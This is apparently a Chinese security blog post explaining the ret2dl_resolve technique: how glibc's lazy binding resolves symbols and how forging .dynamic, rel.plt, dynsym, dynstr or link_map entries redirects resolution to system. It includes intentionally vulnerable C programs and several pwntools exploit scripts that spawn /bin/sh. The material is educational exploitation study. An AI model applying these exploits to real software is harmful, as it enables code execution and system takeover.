ret2dl_resolve

本文最后更新于:2023年10月15日 晚上

是利用elf文件的延迟绑定技术_dl_runtime_resolve,达到攻击目的的一种技术

程序在执行时,程序link_map结构体的地址位于got表的第二项,_dl_runtime_resolve函数地址位于got表的第三项

"函数第一次调用前"

在使用_dl_runtime_resolve导出函数时,会设置函数在got表中对应的项为函数真实地址

如果程序开启了PIE保护,那么会在加载程序的阶段,将got表中对应函数的真实地址填入

_dl_runtime_resolvesysdeps/架构/dl-trampoline.h文件中,是一段汇编代码,通过栈传入两个参数,第一个参数是当前程序的link_map结构体的地址,第二个参数是函数在.rel.plt表中的索引值,函数首先保存寄存器的值,然后调用_dl_fixup函数,最后还原寄存器,并执行函数

_dl_fixupelf/dl-runtime.c文件中,传入两个参数,参数与_dl_runtime_resolve的参数相同,函数先通过link_map获取程序中各种段的地址,经过各种检测后,通过_dl_lookup_symbol_xlink_map.l_scope中搜索符号,并返回符号地址,再经过各种检测后,如果未开启绑定,就直接返回符号地址,否则执行elf_machine_fixup_plt函数,设置got表中的数据

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
93
94
95
96
97
98
99
100
101
102
103
104
105
106
107
108
109
110
111
112
113
114
115
116
117
118
119
120
121
122
123
124
125
126
127
/* 获取各种段的地址
这些段的地址不是直接储存在 l_info中,而是储存在程序的 dynamic段中 */
const ElfW(Sym) *const symtab = (const void *) D_PTR (l, l_info[DT_SYMTAB]);
// 获取 dnysym 表地址
const char *strtab = (const void *) D_PTR (l, l_info[DT_STRTAB]);
// 获取 dnystr 表地址
const PLTREL *const reloc = (const void *) (D_PTR (l, l_info[DT_JMPREL]) + reloc_offset);
// 获取函数在 rel.plt 中对应成员的地址
const ElfW(Sym) *sym = &symtab[ELFW(R_SYM) (reloc->r_info)];
// 获取函数在 dynsym 中对应成员的地址
const ElfW(Sym) *refsym = sym;
void *const rel_addr = (void *)(l->l_addr + reloc->r_offset);
// 获取函数在 got 中对应成员的地址

/* 调用_dl_lookup_symbol_x */
result = _dl_lookup_symbol_x (strtab + sym->st_name, l, &sym, l->l_scope,version, ELF_RTYPE_CLASS_PLT, flags, NULL);
// strtab+sym->st_name 获取符号名称

/* rel.plt结构体(函数重定向的信息)
Elf32_Rela
offset 指向GOT表的指针 4字节
info 关于导入符号的信息 4字节
当重定向函数时 info的第一个字节为 0x07
info>>8 为函数符号在.dnysym 中的下标
addend 浮动数值 4字节
通过 &.dnysym[info]+addend 为表示函数的 .dnysym中的成员

Elf64_Rela
offset 指向GOT表的指针 8字节
info 关于导入符号的信息 8字节
当重定向函数时 info的 前4字节 为 0x07
info的后4字节为函数符号在 .dnysym 中的下标
addend 浮动数值 8字节
通过 &.dnysym[info]+addend 为表示函数的 .dnysym中的成员
*/

/* dynsym结构体
Elf32_Sym
name 对于.dnystr 的偏移 4字节
value 4字节
如果这个符号被导出,则存有这个导出函数的虚拟地址,否则为NULL
当成员是用来描述函数时 value为0
size 4字节
符号大小
当成员是用来描述函数时 size为0
info 符号的信息 1字节
当成员是用来描述函数时 info为0x12
other 1字节
当成员是用来描述函数时 other为0
shndx 2字节
绑定section的索引号
当成员是用来描述函数时 shndx 为0

Elf64_Sym
name 对于.dnystr的偏移 4字节
info 符号的信息 1字节
当成员是用来描述函数时 info为0x12
other 显示形式 1字节
描述函数时 other为0
shndx 绑定的section的索引号 2字节
描述函数时 shndx 为0
value 8字节
如果这个符号被导出,则存有这个导出函数的got地址-8,否则为NULL
当成员是用来描述函数时 value为0
size 8字节
符号大小
当成员是用来描述函数时 size为0
*/

/* dynamic结构体
Elf32_Dyn
tag 指定结构用来描述的段类型 4字节
val/ptr 4字节
当用来描述某个段的地址时使用 ptr
其余情况使用val

Elf64_Dyn
tag 指定结构用来描述的段类型 4字节
val/ptr 8字节
当用来描述某个段的地址时使用 ptr
其余情况使用val
tag可选值:
#define DT_NULL 0 标记动态部分的结束
#define DT_NEEDED 1 所需库的名称
#define DT_PLTRELSZ 2 PLT 重定位的字节大小
#define DT_PLTGOT 3 处理器定义的值
#define DT_HASH 4 符号哈希表地址
#define DT_STRTAB 5 字符串表地址
#define DT_SYMTAB 6 符号表地址
#define DT_RELA7 Rela relocs地址
#define DT_RELASZ 8 Rela reloc 的总大小
#define DT_RELAENT 9 一个 Rela reloc 的大小
#define DT_STRSZ 10 字符串表的大小
#define DT_SYMENT 11 一个符号表的大小入口
#define DT_INIT 12 init 函数的地址
#define DT_FINI 13 储存fini函数的指针地址(会在exit中执行)
#define DT_SONAME 14 共享对象的名称
#define DT_RPATH 15 库搜索路径(不推荐使用)
#define DT_SYMBOLIC 16 从这里开始符号搜索
#define DT_REL 17 Rel reloc 的地址
#define DT_RELSZ 18 Rel reloc 的总大小
#define DT_RELENT 19 一个 Rel reloc 的大小
#define DT_PLTREL 20 PLT 中的 reloc 类型
#define DT_DEBUG 21 用于调试;unspecified
#define DT_TEXTREL 22 Reloc 可能会修改 .text
#define DT_JMPREL 23 PLT relocs 的地址
#define DT_BIND_NOW 24 对象的进程重定位
#define DT_INIT_ARRAY 25 带有 init fct 地址的数组
#define DT_FINI_ARRAY 26 带有 fini fct 地址的数组
#define DT_INIT_ARRAYSZ 27 以字节为单位的大小DT_INIT_ARRAY
#define DT_FINI_ARRAYSZ 28 DT_FINI_ARRAY 的字节大小
#define DT_RUNPATH 29 库搜索路径
#define DT_FLAGS 30 正在加载的对象的标志
#define DT_ENCODING 32 编码开始range
#define DT_PREINIT_ARRAY 32 带有 preinit fct 地址的数组
#define DT_PREINIT_ARRAYSZ 33 DT_PREINIT_ARRAY 的字节大小
#define DT_NUM 34 使用的数量
#define DT_LOOS 0x6000000d 操作系统特定的开始
#define DT_HIOS 0x6ffff000 操作系统特定的结束
#define DT_LOPROC 0x70000000 处理器特定的开始
#define DT_HIPROC 0x7fffffff 处理器特定的结束
*/

/* dnystr段结构
开头第一个字节为\x00,后面储存的每个符号的名称,以\x00结尾
*/

_dl_lookup_symbol_xelf/dl-lookup.c文件中,传入7个参数,分别是 符号名称link_map符号在dnysym中对应成员的地址link_map引用的符号表(里面是保存了用于引用的link_map结构体信息),版本符号类型符号版本信息跳过的link_map(不查找这个文件中的符号) ,遍历scope中的结构体,排除跳过的link_map,使用 do_lookup_x 从剩余的link_map中搜索符号,当搜索到符号时,返回结构体{符号地址,当前link_map}

do_lookup_xelf/dl-lookup.c文件中,传入13个参数,主要流程为,循环遍历当前link_map表示的文件及其引用的文件中的符号,通过遍历对比文件中的符号名称与传入_dl_lookup_symbol_x的符号名称,来搜索符号,当搜索到符号时,返回 {符号地址,符号所属link_map}

修改dynamic

_dl_fixup 中的代码中可以看出,程序获取段地址,是通过dynamic段中储存的结构体获取的
原本dynamic段DT_STRTABptr字段储存的是 程序dnystr段的地址,程序在进行绑定操作时,会通过dnystr段获取符号名称
当我们将dynamic段中的DT_STARTABptr字段储存的数据修改为我们伪造的dnystr段地址时,
程序在第一次调用库中的函数时,通过_dl_runtime_resolve的绑定操作,从我们伪造的dnystr段中获取符号名称,从库中导出对应的符号,并执行我们构造的函数
这种利用方法需要程序关闭了 ROLRO保护,否则.dynamic 段不可写,也就无法达到攻击的效果了

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
/* 样例代码 */
#include<stdio.h>
#include<stdlib.h>
char cache[0x30]={};
long long int state=0;
int main(){
setvbuf(stdout,0,2,0);
setvbuf(stdin,0,1,0);
setvbuf(stderr,0,2,0);
char c[0x40]={};
read(0,cache,0x50);
c[read(0,c,0x10)-1]=0;
long long int *a=atoi(c);
c[read(0,c,0x10)-1]=0;
*a=atoi(c);
exit(state);
}
/*编译命令
gcc -z norelro -no-pie pwn_resolve.c -o pwn_resolve
*/

main函数代码

bss段布局

dynamic段布局

dynstr段布局

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
"""exp思路
设置 dynamic段 中 dynstr段 的地址为 bss段 中构造的 "\x00system\x00" 字符串的地址
并设置 state 为 bss段 中构造的 "/bin/sh" 字符串的地址
在执行 exit 函数时 经过 _dl_runtime_resolve 就会搜索 system 函数并执行 system("/bin/sh")
"""
from pwn import *

p=process('./pwn_resolve')
payload=b'/bin/sh\x00'+"system\x00"
payload=payload.ljust(0x30)+p64(0x4033c0)
p.sendline(payload)
pause()
p.sendline(str(0x4031e0))
pause()
p.sendline(str(0x4033c7))
p.interactive()

伪造reloc_offset

_dl_fixup中的代码可以看出,程序获取与函数对应的rel.plt表项 reloc是通过reloc_offset参数
获取对应的dnysym表项 sym是通过reloc.r_info ,获取dnystr对应的名称是通过sym
所以只要伪造了reloc_offset 参数,就可以伪造reloc,进而伪造 symdnystr中对应的名称
然后就会调用我们伪造的dnystr中的函数

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
/* 样例代码 */
#include<stdio.h>
#include<stdlib.h>
char cache[0x50]={};
long long int state=0;
int main(){
setvbuf(stdout,0,2,0);
setvbuf(stdin,0,1,0);
setvbuf(stderr,0,2,0);
char c[0x40]={};
read(0,cache,0x70);
read(0,c,0x70);
}
/*编译命令
gcc -fno-stack-protector -no-pie pwn_resolve.c -o pwn_resolve
*/

main函数代码

main函数栈布局

bss段布局

.dynamic段布局

dynsym段布局

dynstr段布局

rel.plt段布局

rel表项需要构造 {对应got表地址(8字节), sym表中的索引值(4字节), 用来表示函数的7(4字节), addend用处未知一般为0(4字节)}

sym表项需要构造 {dnystr中的索引值(4字节), 用来表示函数的12(1字节), other描述函数时为0(1字节), shndx描述函数时为0(2字节), value在函数被导出前为0(4字节), size描述函数时为0(4字节)}

dnystr表项构造时只需要在字符串结尾使用\x00截断

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
"""exp思路
构造 全局变量cache ,将 sym表项 与 rel表项 ,dynstr表项 都伪造好,
通过传入一个较大的 rel.plt表 索引值,
使其索引到我们伪造的表项,进而导出 system 函数,并执行 system 函数
需要计算rel的索引值和sym的索引值,还有system字符串在dynstr的索引值
"""
from pwn import *
rdi=0x00000000004012a3
p=process('./pwn_resolve')
sym=p32(0x4040b9-0x4004a0)+p64(12)+p32(0)*3 # 0x4004a0为.dynstr表的地址 0x4040b9为system字符串位置
rel=p64(0x404018)+p32(7)+p64((0x404088-0x4003e0)//0x18)+p32(0) # 0x4003e0为sym表的地址 0x404088为伪造的sym表项的地址
payload=b"/bin/sh\x00"+sym+rel+"\x00system\x00"
payload=payload.ljust(0x50)+p64(0x4033c0)
p.send(payload)
pause()
p.send(b'a'*0x40+b'b'*8+p64(rdi)+p64(0x404080)+p64(0x401020)+p64((0x4040a0-0x4005a8)//0x18)) # 0x4005a8是rel表的地址 0x4040a0为伪造的rel表项的地址
p.interactive()

这种方法需要先获取描述当前程序的link_map结构体的scope成员中储存的数据
想要获取scope成员中的数据,至少需要达到任意地址读取,这种情况下已经可以泄露libc的地址
而想要利用ret2resolve则需要控制程序流程
这种情况下,已知libc地址,且可以控制程序,直接执行system("/bin/sh");就可以了
想要利用link_map还需要 至少0x400的空间,
这种情况下,想要伪造link_map,达到ret2dlresolve的目的,利用难度较高
如果作为栈溢出的利用

以下是我尝试伪造link_map的代码,比较极端地允许输入任意长度的数据

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
#include<stdio.h>
#include<stdlib.h>
char a[4096]={};
int main(){
char b[0x20]={};
printf("start\naddr: ");
printf("%x\n",(int)a);
gets(b);
gets(a);
puts("123123");

}
/*编译命令
gcc -fno-stack-protector -no-pie 1.c
*/
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
from pwn import *
e=ELF('./a.out')
p=process('./a.out')
gdb.attach(p,'bp 0x401201')
p.readuntil('addr: ')
d=int(p.readline(),16)
fake_dyn=d+0x300
fake_map=p64(0)+p64(d)+p64(fake_dyn)+p64(0)+p64(0)+p64(d)+p64(0)+p64(d)
fake_info=p64(0)+p64(fake_dyn)+p64(0x403f00)+p64(fake_dyn+0x10)+p64(0)+p64(fake_dyn+0x20)+p64(fake_dyn+0x30)+p64(fake_dyn+0x40)+p64(0x403f40)+\
p64(0x403f50)+p64(0x403ec0)+p64(0x403ed0)+p64(0x403e30)+p64(0x403e40)+p64(0)*6+p64(0x403f10)+p64(0x403ee0)+p64(0)+p64(fake_dyn+0x50)+p64(0)+p64(0x403e50)+\
p64(0x403e70)+p64(0x403e60)+p64(0x403e80)+p64(0)*6+p64(0x403f70)+p64(0x403f60)+p64(0)*14+p64(0)*25+p64(0x403e90)
seg=d+0x500
got=seg
strtab=seg+0x100
symtab=seg+0x200
reltab=seg+0x300
jmprel=seg+0x400
fake_map=fake_map+fake_info
fake_map=fake_map.ljust(0x300,b'\x00')
print(hex(len(fake_map)))
dyn_sym=p64(1)+p64(24)+p64(3)+p64(got)+p64(5)+p64(strtab)+p64(6)+p64(symtab)+p64(7)+p64(reltab)+p64(0x17)+p64(jmprel)
dyn_sym=dyn_sym.ljust(0x98,b'\x00')
fake_map=fake_map+dyn_sym
nnn=input('>>>')
fake_map=fake_map+p64(nnn)
#因为只是测试,所以直接用gdb获取scope的值,然后输入就可以了
fake_map=fake_map.ljust(0x500,b'\x00')

got_d=p64(0x405068)
got_d=got_d.ljust(0x100,b'\x00')

strtab_d=b'\x00'+b"system\x00"
strtab_d=strtab_d.ljust(0x100,b'\x00')

symtab_d=p64(0)*3+p32(1)+p64(0x12)+p64(0)+p32(0)
symtab_d=symtab_d.ljust(0x100,b'\x00')

reltab_d=p64(0)
reltab_d=reltab_d.ljust(0x100,b'\x00')

jmprel_d=p64(got)+p32(7)+p64(1)+p32(1)
jmprel_d=jmprel_d.ljust(0x100,b'\x00')

fake_map=fake_map + got_d + strtab_d + symtab_d + reltab_d + jmprel_d
bin_sh=len(fake_map)+0x40
fake_map=fake_map.ljust(bin_sh,b'\x00')
fake_map=fake_map+b'/bin/sh\x00'

p.sendline(b'a'*0x20+b'b'*8+p64(0x000000000040101a)+p64(0x0000000000401273)+p64(d+bin_sh)+p64(0x401026)+p64(d)+p64(0))
p.sendline(fake_map)
p.interactive()

ret2dl_resolve
https://rot-will.github.io/page/ret2dl_runtime_resolve/
作者
rot_will
发布于
2022年6月24日
更新于
2023年10月15日
许可协议